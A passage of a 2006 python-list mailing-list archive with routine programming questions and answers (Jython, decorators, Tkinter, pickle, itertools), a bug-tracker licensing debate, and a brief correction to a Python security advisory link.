print 'static() incrementing ok ' + static()
print 'static() incrementing ok ' + static()
print '=========== changed to ============'; print buf[0] 
#outfile = file('pyOutfile', 'w')
#outfile.write(buf)
[/CODE]




From joncle at googlemail.com  Mon Oct 16 12:08:07 2006
From: joncle at googlemail.com (Jon Clements)
Date: 16 Oct 2006 09:08:07 -0700
Subject: jython and toString
In-Reply-To: <1161011602.075688.29370@i42g2000cwa.googlegroups.com>
References: <1161011602.075688.29370@i42g2000cwa.googlegroups.com>
Message-ID: <1161014887.072934.207660@f16g2000cwb.googlegroups.com>


ivansh wrote:

> Hello,
>
> For one java class (Hello) i use another (HelloPrinter) to build the
> string representation of the first one. When i've tried to use this
> from within jython,  HelloPrinter.toString(hello) call gives results
> like Object.toString() of hello has being called. The example below
> shows this behaviour.
> Could somebody explain this?
>
>
> // Hello.java
> package jythontest;
> public class Hello {
> 	private String name;
> 	public Hello(String name)
> 	{
> 		this.name = name;
> 	}
> 	public String sayHello()
> 	{
> 		return "Hello, "+name;
> 	}
> }
>
> // HelloPrinter.java
> package jythontest;
> public class HelloPrinter {
> 	public static String toString(Hello h)
> 	{
> 		return h.sayHello();
> 	}
>
> 	public static String toMyString(Hello h)
> 	{
> 		return h.sayHello();
> 	}
> }
>
>
>
> #  calljava.py
> from jythontest import *
> h = Hello("theName")
> print h
> print HelloPrinter.toString(h)
> print HelloPrinter.toMyString(h)
>
> OUTPUT:
> jythontest.Hello at 523ca2   // GOOD
> jythontest.Hello at 523ca2   // WRONG
> Hello, theName                 // GOOD
>
>
> Jython 2.1 on java (JIT: null)
>
> java version "1.5.0_03"
> Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_03-b07)
> Java HotSpot(TM) Server VM (build 1.5.0_03-b07, mixed mode)


I'm guessing your toString(Hello h) is never being called because
there's another toString(something) behind the scenes that's being
preferred. I could be well wrong, but I'm guessing toString isn't meant
to be static, and when you create an object in Java they inherit from
object which defines a default toString. It might be a temporary object
of type HelloPrinter is created in the call to "print
HelloPrinter.toString(h)", and the method you end up calling is the
toString for that temporary (not your static one). This would
especially make sense if there's a version of toString which takes an
object, and returns its toString result...

I'm basing this purely on the fact PrintHello.toMyString() works... so
take with a pinch of salt.

Jon.



From gagsl-py at yahoo.com.ar  Thu Oct 26 16:01:52 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Thu, 26 Oct 2006 17:01:52 -0300
Subject: conditional computation
In-Reply-To: <ehr2bu$24l9$1@ulysses.news.tiscali.de>
References: <ehr2bu$24l9$1@ulysses.news.tiscali.de>
Message-ID: <7.0.1.0.0.20061026165938.039bd078@yahoo.com.ar>

At Thursday 26/10/2006 16:30, robert wrote:

>I want to use a computation cache scheme like
>
>
>         o = CACHECOMPUTE  complex-key-expr  expensive-calc-expr
>
>
>frequently and elegantly without writing complex-key-expr or 
>expensive-calc-expr twice.
>So its ugly:
>
>         _=complex-key-expr; o=cache.get(_) or 
> cache.setdefault(_,expensive-calc-expr)
>
>Any ideas?

The memoize pattern can help; in 
http://wiki.python.org/moin/PythonDecoratorLibrary you can see an 
implementation using decorators.


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From eldorado at io.com  Fri Oct 13 14:10:55 2006
From: eldorado at io.com (eldorado)
Date: Fri, 13 Oct 2006 13:10:55 -0500
Subject: Newbie question - leading zeros
Message-ID: <20061013130805.T91050@eris.io.com>

I have looked around and cannot seem to find a way to strip leading zeros 
off of values in a dictionary. Basically, I am looking to do a for loop 
and any value that has one or more leading zeros would be stripped. Any 
pointers would be appreciated. Thanks

-- 
Randomly generated signature
ICMP: The protocol that goes PING!


From steve at holdenweb.com  Thu Oct  5 03:24:51 2006
From: steve at holdenweb.com (Steve Holden)
Date: Thu, 05 Oct 2006 08:24:51 +0100
Subject: Python to use a non open source bug tracker?
In-Reply-To: <878xjve0fs.fsf@benfinney.id.au>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>	<mailman.1146.1159866456.10491.python-list@python.org>	<gzJUg.134225$zy5.1829430@twister1.libero.it>	<452410E9.9040403@v.loewis.de>	<TnVUg.135451$zy5.1833460@twister1.libero.it>	<1159997348.228622.246410@h48g2000cwc.googlegroups.com>	<87hcyjel70.fsf@benfinney.id.au>
	<eg27ml$ff6$1@sea.gmane.org> <878xjve0fs.fsf@benfinney.id.au>
Message-ID: <eg2buf$r22$1@sea.gmane.org>

Ben Finney wrote:
> Steve Holden <steve at holdenweb.com> writes:
> 
> 
>>And I'd prefer it if you'd drop this subject. So, if you have
>>nothing new to say, kindly leave it.
> 
> 
> I'm happy to, but:
> 
> 
>>You appear to be prepared to go to any length short of providing
>>effort to support the open source tracker.
> 
> 
> This was addressed in a previous post. I don't have the skills nor the
> resources to do this. Yes, as has been pointed out, it actually *is*
> far less effort to point out problems, than to solve them. That
> doesn't detract from the value of pointing out problems.
> 
> This thread was started on the shock of realising that a non-free tool
> was even being *considered* for the new Python bug tracker. Those are
> the terms on which I've been arguing.
> 
> Apparently there are some people who *have* put themselves forward to
> support a free-software tool. Great! My point all along has been that
> Python's developers are well advised to consider *only* free-software
> tools for supporting development of Python, and that from among those
> the best tool for the job should be chosen.
> 
> As you say, nothing new has been said now for a while, so in the
> absence of that I'm happy to leave it here.
> 
In case readers are puzzled by the absence of the message to which Ben 
replies above I should perhaps explain that I cancelled it having 
decided that its language was immoderate and unfair to Ben.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From fredrik at pythonware.com  Tue Oct 31 03:30:56 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 31 Oct 2006 09:30:56 +0100
Subject: Tkinter Listbox string formatting question - how to kill a dancing
	snake ?
In-Reply-To: <02a901c6fcbf$181c51a0$03000080@hendrik>
References: <02a901c6fcbf$181c51a0$03000080@hendrik>
Message-ID: <ei71k0$tkq$1@sea.gmane.org>

Hendrik van Rooyen wrote:

> Is there a way to format this so it will line up with  *any*  font ?
> 
> I would prefer not to give up and use a fixed width font - it looks so
> teletypish...

sounds like contradicting requirements to me.

instead of trying to force the listbox to behave like a multicolumn 
widget, maybe you could switch to another widget?  some alternatives include

     a Text widget (you have to roll your own selection logic)
     bwidgets multicolumn ListBox:
         http://tkinter.unpythonic.net/bwidget/
     tktable:
         http://tktable.sourceforge.net/
     something based on the wck (that's what I'd would use myself):
         http://effbot.org/zone/wck-4.htm
     and perhaps there's something in Pmw:
         http://pmw.sourceforge.net
</F>



From hg at nospam.com  Sat Oct 14 12:06:03 2006
From: hg at nospam.com (hg)
Date: Sat, 14 Oct 2006 11:06:03 -0500
Subject: Can I set up a timed callback without Tkinter or twisted or
	something?
In-Reply-To: <mailman.512.1160840172.11739.python-list@python.org>
References: <mailman.512.1160840172.11739.python-list@python.org>
Message-ID: <k28Yg.27583$Go3.17846@dukeread05>

Hendrik van Rooyen wrote:
> Hi,
> 
> I want to do the equivalent of the after thingy in tkinter - setting up in
> effect a timed call back.
> 
> My use case is as a "supervisory" timer - I want to set up an alarm, which I
> want to cancel if the expected occurrence occurs - but its not a GUI app.
> 
> My googling gets a lot of stuff pointing to optparse...
> 
> Does the standard lib have anything like this?
> 
> - Hendrik
> 

http://python.active-venture.com/lib/timer-objects.html


From mail at microcorp.co.za  Fri Oct 13 02:45:10 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Fri, 13 Oct 2006 08:45:10 +0200
Subject: Wing IDE 2.1.3 released
References: <Pine.LNX.4.64.0610121235260.8254@localhost.localdomain>
Message-ID: <02b501c6ee98$407fe100$03000080@hendrik>

 "Wingware Announce" <info at wingware.com> wrote:

8<---------------------------------------------------------------

> * Professional quality code editor
> * Visual Studio, VI/Vim, Emacs, and Brief key bindings

Can I copy paste columns as in Brief? 
Do the Brief Macros work?
100% ?

- Hendrik



From ziga.seilnacht at gmail.com  Fri Oct 13 04:02:57 2006
From: ziga.seilnacht at gmail.com (Ziga Seilnacht)
Date: 13 Oct 2006 01:02:57 -0700
Subject: Efficiently iterating over part of a list
References: <pan.2006.10.13.07.35.48.237633@REMOVEME.cybersource.com.au>
Message-ID: <1160726577.149355.180340@i3g2000cwc.googlegroups.com>

Steven D'Aprano wrote:
[snip]
> The important thing to notice is that alist[1:] makes a copy. What if the
> list has millions of items and duplicating it is expensive? What do people
> do in that case?
>
> Are there better or more Pythonic alternatives to this obvious C-like
> idiom?
>
> for i in range(1, len(alist)):
>     x = alist[i]


for x in itertools.islice(alist, 1, len(alist)):


HTH
Ziga



From steve at holdenweb.com  Thu Oct  5 02:20:35 2006
From: steve at holdenweb.com (Steve Holden)
Date: Thu, 05 Oct 2006 07:20:35 +0100
Subject: Python to use a non open source bug tracker?
In-Reply-To: <eg1jgs$5g3$1@sea.gmane.org>
References: <22pUg.132825$zy5.1820633@twister1.libero.it><7xk63h232z.fsf@ruckus.brouhaha.com>	<eftfoe$l8n$1@sea.gmane.org><mailman.1155.1159876666.10491.python-list@python.org><mailman.1163.1159879479.10491.python-list@python.org><fxJUg.134222$zy5.1829414@twister1.libero.it><45240E19.3040000@v.loewis.de>	<87lknvelb3.fsf@benfinney.id.au>
	<eg1jgs$5g3$1@sea.gmane.org>
Message-ID: <eg285v$ff6$3@sea.gmane.org>

Terry Reedy wrote:
> "Ben Finney" <bignose+hates-spam at benfinney.id.au> wrote in message 
> news:87lknvelb3.fsf at benfinney.id.au...
> 
>>The whole point of moving *from* SF *to* another bug tracker is to
>>improve the situation, surely.
> 
> 
> The current situation is that the limitations and intermittant failures of 
> the SF tracker sufficiently impede the Python development process that some 
> people were motivated to do the work to find a better alternative.
> 
> 
>>You already seem to acknowledge that using free-software tools to
>>develop Python is desirable.
> 
> 
> The committee already said so by saying that with other things equal, it 
> would choose Roundup.
> 
> 
>>I don't see why you're being so obtuse
> 
> 
> I think name calling is out of line here.
> 
Correct, besides which Ben seems to feel people are disagreeing on the 
desirability of using open source software when in fact they are mostly 
disagreeing about the *practicality* in this particular instance.

Compellingly absent from most critics' output is a statement to the 
effect that they will volunteer their time to encourage the adoption of 
Roundup, which is excluded only by the absence of a support infrastructure.

Time to shit or get off the pot, I'd say.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From edreamleo at charter.net  Wed Oct  4 09:40:17 2006
From: edreamleo at charter.net (Edward K. Ream)
Date: Wed, 4 Oct 2006 08:40:17 -0500
Subject: How to ask sax for the file encoding
Message-ID: <dROUg.62$iP5.51@newsfe07.lga>

Following the usual cookbook examples, my app parses an open file as 
follows::



parser = xml.sax.make_parser()

parser.setFeature(xml.sax.handler.feature_external_ges,1)

# Hopefully the content handler can figure out the encoding from the <?xml> 
element.

handler = saxContentHandler(c,inputFileName,silent)

parser.setContentHandler(handler)

parser.parse(theFile)



Can anyone tell me how the content handler can determine the encoding of the 
file?  Can sax provide this info?



Thanks!



Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------





From joshbloom at gmail.com  Fri Oct  6 12:00:46 2006
From: joshbloom at gmail.com (Josh Bloom)
Date: Fri, 6 Oct 2006 09:00:46 -0700
Subject: help on pickle tool
In-Reply-To: <1160133054.271586.98900@c28g2000cwb.googlegroups.com>
References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com>
	<mailman.1404.1160111129.10491.python-list@python.org>
	<1160124108.779860.236940@i3g2000cwc.googlegroups.com>
	<mailman.1428.1160124488.10491.python-list@python.org>
	<1160125387.706686.70090@h48g2000cwc.googlegroups.com>
	<mailman.1434.1160126159.10491.python-list@python.org>
	<1160126999.826707.75010@i42g2000cwa.googlegroups.com>
	<mailman.1443.1160128807.10491.python-list@python.org>
	<1160133054.271586.98900@c28g2000cwb.googlegroups.com>
Message-ID: <d25b6e9a0610060900r3b322a4cu55c784c57cac0e29@mail.gmail.com>

If you must build your web ui in Java, then Jython is probably the best way
for you to go. Inside of your java code you need to create a Jython
instance.

Then you can use the Jython pickle module to deserialize the data you are
receiving. Last I remember Jython was equivalent to about CPython 2.2 so you
might have an incompatibility between the 2 versions of pickle (just
guessing on that, you'll have to try it)

-Josh


On 6 Oct 2006 04:10:54 -0700, virg <06virg at gmail.com> wrote:
>
> Hi,
>
> Yes, using python client we are able deserialize data using
>
> r = pickle.loads(result).
>
> where result is a response from the server and r is a dictionary after
> deserialization.
> For serialisation at the server written in python using
> pickle.dumps(result, 2)
>
> Now we are developing web based Client using java. So we are writing
> client in java. If server and client are in python we dont see any
> problems since we are using same serialisation tool "pickle". Now we
> have seen problems because we are writing client in java. we did not
> find equivalent function on java for this tool pickle. If i use
> standard java desrialisation functions i am getting error as invalid
> header becasue of incompatibility between python and java. Please help
> me if you have any clue
>
> regards,
> - Virg
>
> hanumizzle wrote:
> > On 6 Oct 2006 02:29:59 -0700, virg <06virg at gmail.com> wrote:
> > > Yes your are right. I will send a dictionary object from the server to
> > > the client.
> > > I already have client which is written in python. But we are migrating
> > > the python client which is a command line tool  to Web UI client
> > > (java).
> >
> > Please explain 'Web UI'. Can Python perform an equivalent function?
> >
> > -- Theerasak
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>
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From johnzenger at gmail.com  Thu Oct 19 17:12:29 2006
From: johnzenger at gmail.com (johnzenger at gmail.com)
Date: 19 Oct 2006 14:12:29 -0700
Subject: Decorators and how they relate to Python - A little insight
	please!
References: <1161281064.704992.100410@e3g2000cwe.googlegroups.com>
Message-ID: <1161292349.920683.196850@h48g2000cwc.googlegroups.com>

When you want to repeatedly apply a certain ALGORITHM to arbitrary sets
of DATA, you write a FUNCTION.

When you want to add a certain BEHAVIOR to arbitrary sets of FUNCTIONS,
you write a DECORATOR.

An excellent use of decorators is in Django, the web programming
framework.  Django keeps track of usernames and passwords for you.
Occasionally, there are some things on your web site that you only want
to only let people who are logged in do (like, say, leave a comment on
your blog).  Instead of making you begin every such function with "if
user_is_logged in:" or some similar abomination, Django lets you just
put a @require_login decorator before that function.  Pretty spiffy.


Jerry wrote:
> I have just started to do some semi-serious programming (not one-off
> specialized scripts) and am loving Python.  I just seem to get most of
> the concepts, the structure, and the classes (something I struggled
> with before in other languages).  I've seen many concepts on the web
> (i.e. stacks, queues, linked lists) and can usually understand them
> pretty well (event if I don't always know when to use them).  Now I've
> come accross decorators and even though I've read the PEP and a little
> in the documentation, I just don't get what they are or what problem
> they are trying to solve.  Can anyone please point me to a general
> discussion of decorators (preferrably explained with Python)?
> 
> Thanks,
> Jerry



From g.brandl-nospam at gmx.net  Tue Oct 10 17:44:04 2006
From: g.brandl-nospam at gmx.net (Georg Brandl)
Date: Tue, 10 Oct 2006 23:44:04 +0200
Subject: OT: Sarcasm and irony
In-Reply-To: <mailman.193.1160473683.11739.python-list@python.org>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>	<4out4fFgdgouU1@individual.net>	<4ov1acFgfmpmU1@uni-berlin.de>	<4ov2eeFgh8t6U1@individual.net>	<87y7rp9iyi.fsf_-_@benfinney.id.au>	<463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>	<3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>	<egfkeh$a45$1@sea.gmane.org>	<3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com>
	<mailman.193.1160473683.11739.python-list@python.org>
Message-ID: <egh474$482$1@news.albasani.net>

Steve Holden wrote:

>> is that '....in America' meant to be an addendum to what I said, as in
>> this is the situation in America and not elsewhere? If so I should
>> probably point out that I am writing from Denmark and was thinking
>> specifically of a situation where a dane told me they were being
>> 'ironic' (when what they meant, obviously, was that they were being
>> ironical), when I asked what they meant by that they said "saying the
>> opposite of what I mean" I responded: "so, in other words, what you
>> mean by irony is 'sarcasm'" She responded "yes, that's what it means"
>> 
> Well, my assertion about America clearly doesn't preclude to possibility 
> of confusion on the part of the Danish too :-). You are right about the 
> general degradation of the (understanding of the) meaning of irony. 
> People are just too damned sloppy with language nowadays.

Let me tell you: There are times when I'm really glad that as a German, I'm
not supposed to possess any sense of humour at all.

warning-this-post-may-be-ironic-ly yours,
Georg


From spe.stani.be at gmail.com  Mon Oct 30 06:06:30 2006
From: spe.stani.be at gmail.com (SPE - Stani's Python Editor)
Date: 30 Oct 2006 03:06:30 -0800
Subject: wxPython - which is the better sizer to use with notebook
In-Reply-To: <1162196851.786053.162930@k70g2000cwa.googlegroups.com>
References: <1162196851.786053.162930@k70g2000cwa.googlegroups.com>
Message-ID: <1162206390.240665.230160@b28g2000cwb.googlegroups.com>


Chris Brat schreef:

> Hi,
>
> What sizers do people use to
> - contain the notebook control in a Frame and,
> - contain the contents of a single page of the notebook.
>
> At the moment Im using a GridBagSizer for both but this seems to be
> overkill.
> Is a BoxSizer a better option?

Yes, use box sizer if you have to place only one control or when you
need to place a row or column of controls.

Stani
--
http://pythonide.stani.be



From donovan at rscheme.org  Tue Oct 31 09:20:12 2006
From: donovan at rscheme.org (Donovan Kolbly)
Date: Tue, 31 Oct 2006 14:20:12 GMT
Subject: Missing _init_types in MS VisualStudio 2005 (PCBuild8)
Message-ID: <wdezmbcmusj.fsf@axis2.westgate.xynthesis.com>

Hi folks,

I was trying to build Python using MS VisualStudio 2005 (VC++ 8.0)
according to the instructions in PCBuild8/ and got a link error
in config.obj referencing _init_types.

I (barely) know enough about VS 2005 to add files to the project, so I
added Modules/_typesmodule.c to the pythoncore subproject, and that
seemed to fix it -- I can now build the python executable.

-- 
--Donovan


From python.list at tim.thechases.com  Tue Oct 17 13:17:52 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Tue, 17 Oct 2006 12:17:52 -0500
Subject: loop iterators?
In-Reply-To: <1161104511.877387.217410@h48g2000cwc.googlegroups.com>
References: <1161104511.877387.217410@h48g2000cwc.googlegroups.com>
Message-ID: <45351040.9090907@tim.thechases.com>

> l = ['a','b','c']
> for e in l:
>    print l, i
>    i = i + 1
> 
> Is there a way to get rid of the i processing in this script?
> Sorry I'm still trying to learn python tricks here...


for i, e in enumerate(l):
	print l, i

-tkc





From anthony at python.org  Thu Oct 12 15:51:56 2006
From: anthony at python.org (Anthony Baxter)
Date: Fri, 13 Oct 2006 05:51:56 +1000
Subject: SECURITY ADVISORY [PSF-2006-001] Buffer overrun in repr() for
	UCS-4 encoded unicode strings
In-Reply-To: <200610121732.00587.anthony@python.org>
References: <200610121732.00587.anthony@python.org>
Message-ID: <200610130552.07812.anthony@python.org>

On Thursday 12 October 2006 17:31, Anthony Baxter wrote:
>            SECURITY ADVISORY [PSF-2006-001]
>  Buffer overrun in repr() for UCS-4 encoded unicode strings
>
>      http://www.python.org/news/security/PSF-2006-001/

As a few people noted in email to me - the patch directory was not _quite_ 
correct on the website. You have my complete apologies for this - I've 
updated the website, and it should be all good now.

Thanks!
Anthony.
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From fredrik at pythonware.com  Wed Oct 25 01:56:18 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 25 Oct 2006 07:56:18 +0200
Subject: Want to reduce steps of an operation with dictionaries
In-Reply-To: <87bqo1nf70.fsf@benfinney.id.au>
References: <1161736179.467075.307030@m73g2000cwd.googlegroups.com>
	<87bqo1nf70.fsf@benfinney.id.au>
Message-ID: <ehmua2$fok$1@sea.gmane.org>

Ben Finney wrote:

>> How can I do this with one line of instruction?
> 
> Why one line?
> 
> As a general piece of advice, try writing dumb, obvious code that
> actually does the transformation you want, and then let us see
> that. Don't try to compress things into fewer lines unless that
> actually makes it clearer to read.

I was about to suggest adding something along these lines to "import 
this", but then I realized that it had to be written on one line to
fit into that module, so I dropped the idea.

</F>



From carsten at uniqsys.com  Wed Oct  4 09:03:26 2006
From: carsten at uniqsys.com (Carsten Haese)
Date: Wed, 04 Oct 2006 09:03:26 -0400
Subject: Instantiating an object when the type is only known at runtime
In-Reply-To: <1159913971.260327.270750@b28g2000cwb.googlegroups.com>
References: <1159883162.906612.292870@c28g2000cwb.googlegroups.com>
	<Xns9851A323A453DrtwfreenetREMOVEcouk@216.196.109.145>
	<1159913971.260327.270750@b28g2000cwb.googlegroups.com>
Message-ID: <1159967006.18693.16.camel@dot.uniqsys.com>

On Tue, 2006-10-03 at 18:19, Samuel wrote:
> Thanks, that's what I was looking for.
> 
> > >>> m = __import__( "StringIO" )
> > >>> x = getattr( m, "StringIO" )()
> > >>> x
> > <StringIO.StringIO instance at 0x00A47710>
> > >>>
> 
> For the records: If the module is already loaded, this also works:
> 
> if my_type_is_not_yet_loaded:
>     module = __import__(type)
>     obj    = getattr(module, type)
> else:
>     obj    = globals().get(type)
> resource = obj(my_arg1, my_arg2)

You seem to be under the impression that importing an already imported
module is a hideously expensive operation that must be avoided at all
costs. It's not. If you import an already imported module, python simply
returns the module object from sys.modules without executing any of the
module's code.

Your code will be much easier to read if you eliminate the
"my_type_is_not_yet_loaded" check, whatever that may be under the hood,
and always perform the __import__. It's also likely to be at least as
fast, but I couldn't run a timing comparison even if I wanted to because
you didn't post working code.

-Carsten




From bignose+hates-spam at benfinney.id.au  Wed Oct 25 02:12:49 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Wed, 25 Oct 2006 16:12:49 +1000
Subject: Eschew obfuscation (was: Want to reduce steps of an operation with
	dictionaries)
References: <1161736179.467075.307030@m73g2000cwd.googlegroups.com>
	<87bqo1nf70.fsf@benfinney.id.au> <ehmua2$fok$1@sea.gmane.org>
Message-ID: <877iyoordq.fsf_-_@benfinney.id.au>

Fredrik Lundh <fredrik at pythonware.com> writes:

> Ben Finney wrote:
>
> >> How can I do this with one line of instruction?
> > 
> > As a general piece of advice, [...]  Don't try to compress things
> > into fewer lines unless that actually makes it clearer to read.
>
> I was about to suggest adding something along these lines to "import
> this", but then I realized that it had to be written on one line to
> fit into that module, so I dropped the idea.

How about:

    Lines of code are not a scarce resource; use as many as you need.

-- 
 \         "Outside of a dog, a book is man's best friend. Inside of a |
  `\                     dog, it's too dark to read."  -- Groucho Marx |
_o__)                                                                  |
Ben Finney



From hanumizzle at gmail.com  Fri Oct  6 23:34:52 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 23:34:52 -0400
Subject: Recursive descent algorithm able to parse Python?
In-Reply-To: <4onlotFfg0l5U1@uni-berlin.de>
References: <1159471326.663651.110690@h48g2000cwc.googlegroups.com>
	<4o2ugcFcm4npU1@uni-berlin.de> <efhn24$fia$1@lust.ihug.co.nz>
	<4o47o7Fcu386U1@uni-berlin.de> <eg5bbq$29h$3@lust.ihug.co.nz>
	<4onlotFfg0l5U1@uni-berlin.de>
Message-ID: <463ff4860610062034l5cd25d6et33a951853bc34156@mail.gmail.com>

On 10/6/06, Diez B. Roggisch <deets at nospam.web.de> wrote:
> Lawrence D'Oliveiro schrieb:
> > In message <4o47o7Fcu386U1 at uni-berlin.de>, Diez B. Roggisch wrote:
> >
> >> I have to admit that I have difficulties to compare LR(k) to recursive
> >> descent, but the fact that the latter contains backtracking makes it at
> >> least more powerful than LL(k)
> >
> > LR(k) is more powerful than LL(k).
>
> I know _that_, the point was that recursive descent is more power full
> than LL(k)

Correct me if I'm wrong, but recursive descent parsers are top-down, yes?

Parse::RecDescent in Perl is a top-down parser. It can even do some
context-sensitive grammars and can almost certainly handle Python.

Is Python context-free? Not sure. Does left parenthesis opening either
a function call (x) or an empty tuple () count as context-sensitive,
for instance? Or can () be considered a terminal symbol unto itself?

I am new to most of this :)

-- Theerasak


From rasmussen.bryan at gmail.com  Tue Oct 10 04:50:53 2006
From: rasmussen.bryan at gmail.com (bryan rasmussen)
Date: Tue, 10 Oct 2006 10:50:53 +0200
Subject: OT: Sarcasm and irony
In-Reply-To: <egfkeh$a45$1@sea.gmane.org>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de>
	<4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au>
	<463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>
	<3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>
	<egfkeh$a45$1@sea.gmane.org>
Message-ID: <3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com>

On 10/10/06, Steve Holden <steve at holdenweb.com> wrote:
> bryan rasmussen wrote:
> >>>>E. g. [in Java there is] no operator overloading, but "+"
> >>>>concatenation of strings. What if you'd like to implement your own
> >>>>string-derived class? Ah, never mind. Operator overloading is
> >>>>bad(tm) ;) <= Irony, definitely
> >>>
> >>>Definitely? That one strikes me more as sarcasm.
> >>
> >
> > Well irony originally started out as a very specific concept of the
> > Ancient Greek drama, this is what we nowadays refer to as Dramatic
> > Irony but it is the original irony. Irony then became a literary
> > concept for plot elements similar to Dramatic irony in books, or a
> > weaker type of the Dramatic irony found in the plays of Shakespeare.
> > People then noticed that life was at times ironic in the literary
> > manner. Nowadays the use of the word irony has degenerated to by
> > pretty much synonymous with sarcasm.
> >
> ... in America. It's well-known among Brits that Americans don't
> understand irony. They can be pretty oblique when it come to sarcasms
> too, for that matter.

is that '....in America' meant to be an addendum to what I said, as in
this is the situation in America and not elsewhere? If so I should
probably point out that I am writing from Denmark and was thinking
specifically of a situation where a dane told me they were being
'ironic' (when what they meant, obviously, was that they were being
ironical), when I asked what they meant by that they said "saying the
opposite of what I mean" I responded: "so, in other words, what you
mean by irony is 'sarcasm'" She responded "yes, that's what it means"

She had a degree in communications. I also know a few number of brits.
The quality of their wit is not as yet so rarified that I must strain
after its meaning.

Cheers,
Bryan Rasmussen


From zhaodapu at gmail.com  Tue Oct 10 07:24:40 2006
From: zhaodapu at gmail.com (zdp)
Date: 10 Oct 2006 04:24:40 -0700
Subject: How to share session with IE
Message-ID: <1160479479.825746.320610@k70g2000cwa.googlegroups.com>

Hello!

I need to process some webpages of a forum which is powered by discuz!.
When I login, there are some options about how long to keep the
cookies: forever, month, week, et al. If I choose forever,  I don't
need to login each time, and When I open the internet explorer I can
access any pages directly. Some urls of the pages like:

    http://www.somesite.com/bbs/viewthread.php?tid=12345&extra=page%3D1

However, now I need to process some pages by a python program. When I
use urllib.urlopen(theurl), I can only get a page which told me I need
login. I think It's reasonable, becuase I wasn't in a loggined session
which as IE did.

So how can I do my job? I want to get the right webpage by the url. I
have search answers from the groups but didn't get clear answer. Should
I use win32com or urllib? Any reply or information is appreciate. Hope
I put it clear.

Dapu



From paul at boddie.org.uk  Wed Oct 11 08:39:01 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 11 Oct 2006 05:39:01 -0700
Subject: Python component model
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<eghai4$615$1@online.de>
	<1160562945.079609.98640@m7g2000cwm.googlegroups.com>
	<mailman.308.1160564020.11739.python-list@python.org>
Message-ID: <1160570340.981862.212380@c28g2000cwb.googlegroups.com>

Fredrik Lundh wrote:
> Paul Boddie wrote:
>
> > Meanwhile, the Web programming standardisation scene remains
> > stagnant.
>
> Aw, come on.  The Python web programming standardisation wars are over, for now.

Well, that's just another way of saying that the scene remains
stagnant, because I don't see any winners.

> There's Django, and there's TurboGears, and there's Zope 2/3, all with slightly different
> approaches, and slightly different target audiences.  Unless you're doing really odd things,
> one of these will be more than good enough for your application.

I didn't deny that various frameworks would be good enough for various
things (indeed, I didn't even mention them), and I personally think
that Django seems like a decent enough solution, even though it (or its
documentation) focuses on ORM+RDBMS-based applications - a focus that
wouldn't suit a number of applications I've worked on.

The thing is that people want a coherent message about Python and Web
programming. It doesn't have to be "use only this and nothing else" but
it should help them make a good but quick decision. For a long time
people expected to get this coherent message by looking for solutions
provided with the Python distribution itself - after all, the standard
library has provided other useful "batteries" over the years - but all
we had was the cgi module and some barely maintained servers. Indeed,
the standard library looks pretty incoherent itself these days.

But there's a huge gap between what's on offer via the standard library
and the most popular full-stack frameworks, and the choice of starting
with WSGI middleware or swallowing Zope development whole, for example,
must be something of a demotivator for newcomers - why else do people
still ask CGI-related questions on comp.lang.python? What's interesting
is that one of the Django pioneers advocated better standards way back
in 2003 [1], possibly indicating a preference for the "rising tide
floats more boats" philosophy that would help Python itself become a
more popular tool for Web development, rather than some framework doing
a Zope and, in a few years, having its community members argue amongst
themselves about why Python developers don't like them any more. It'd
be interesting to hear whether the same attitude still holds sway after
Django's more recent success.

> (as for WSGI, it's plumbing. You can of course build fun things from spare parts and
> plumbing, and there are really interesting things going on in certain research labs, as
> usual, but if you want turn-key stuff, pick one of the big three.)

After seeing WSGI being elevated to non-plumbing (since plumbing is
just stuff that helps other stuff to work, not something you mess with
on a daily basis), I think the current strategy with respect to
"floating more boats" is to pretend that WSGI is all you need. In which
case, we might as well start looking at documentation like this
instead...

http://www.erlang.org/doc/doc-5.5.1/lib/inets-4.7.5/doc/html/mod_esi.html

Paul

[1] http://mail.python.org/pipermail/web-sig/2003-October/000003.html



From harry.g.george at boeing.com  Wed Oct  4 01:08:28 2006
From: harry.g.george at boeing.com (Harry George)
Date: Wed, 4 Oct 2006 05:08:28 GMT
Subject: Python to use a non open source bug tracker? - Trac?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net>
	<tCJUg.134232$zy5.1829450@twister1.libero.it>
